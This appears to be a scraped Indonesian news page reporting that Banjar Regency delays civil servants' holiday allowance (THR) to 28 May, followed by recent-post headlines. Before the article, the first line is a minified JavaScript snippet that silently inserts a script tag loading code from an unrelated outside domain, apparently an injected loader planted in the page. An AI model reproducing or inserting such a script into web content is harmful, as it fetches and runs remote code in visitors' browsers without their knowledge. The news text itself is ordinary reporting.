(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Undur Pencairan THR hingga Selasa 28 Mei


MARTAPURA, Terkendala peraturan Bupati Banjar tentang pembayaran Tunjangan Hari Raya (THR) dan Gaji ke- 13, Pemerintah Kabupaten Banjar tunda mencairkan THR Pegawai Negri Sipil (PNS) lingkup kabupaten Banjar hingga Selasa (28/5). Begitu disampaikan Kepala Bidang Pembedaharaan BPKAD Kabupaten Banjar, H Abdullah Fahtar.

“Kemarin kita ada kesalahan memahami PP Nomor 36 itu, kita khuatir perbup yang kita urus ini tidak selesai besok Jumat (24/5), jadi kita pastikan THR akan diundur sedikit ke hari Selasa (28/5),” jelasnya

Lebih jauh Fahtar menjelaskan, isi regulasi dari peraturan Bupati Banjar tersebut mengatur waktu tentang pembayaran THR dan Gajih ke-13 terhadap PP Nomor 35 dan PP Nomor 36 dan pembayaran Gaji Induk untuk bulan Juni 2019.

“Sebenarnya anggaran sudah kita cantumkan di APBD, uang sudah tersedia, total keseluruhan THR yang akan kita bayarkan pada Selasa (28/5) itu kepada keseluruhan 6.525 PNS yang ada di Kabupaten Banjar yaitu Rp 28 Miliar,” bebernya.

Sementara untuk pembayaran gaji induk akan ditandatangani pada Sabtu (1/6) walaupun ketentuan transaksi di tanggal dan hari tersebut tidak boleh dilakukan karena hari libur negara.

Namun hal itu diantisipasi dengan surat perintah kerja lembur dari pemerintah Kabupaten Banjar.

“Sementara untuk gajih ke-13 kita sepakati pada tanggal 3 Juli, perimbangan sosialnya untuk membantu orang tua yang sedang memerlukan dana memasukan anak-anaknya untuk bersekolah,” jelasnya.

Ditanya apakah Pensiunan PNS juga akan mendapatkan THR dan Gajih ke-13? Diakui Fahtar selama pensiunan memasuki masa MPP dan belum berakhirnya masa pensiun, maka masih mempunyai hak untuk memperoleh THR dan Gaji ke-13.

“Pensiunan masih akan mendapatkan THR dan Gaji ke-13 karena ada haknya mereka di situ, namun dengan catatan selama masa pensiunnya masih belum habis,” pungkasnya.(rendy)

Reporter:Rendy
Editor:Chell

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

9 menit ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

39 menit ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

3 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

6 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

9 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

9 jam ago

This website uses cookies.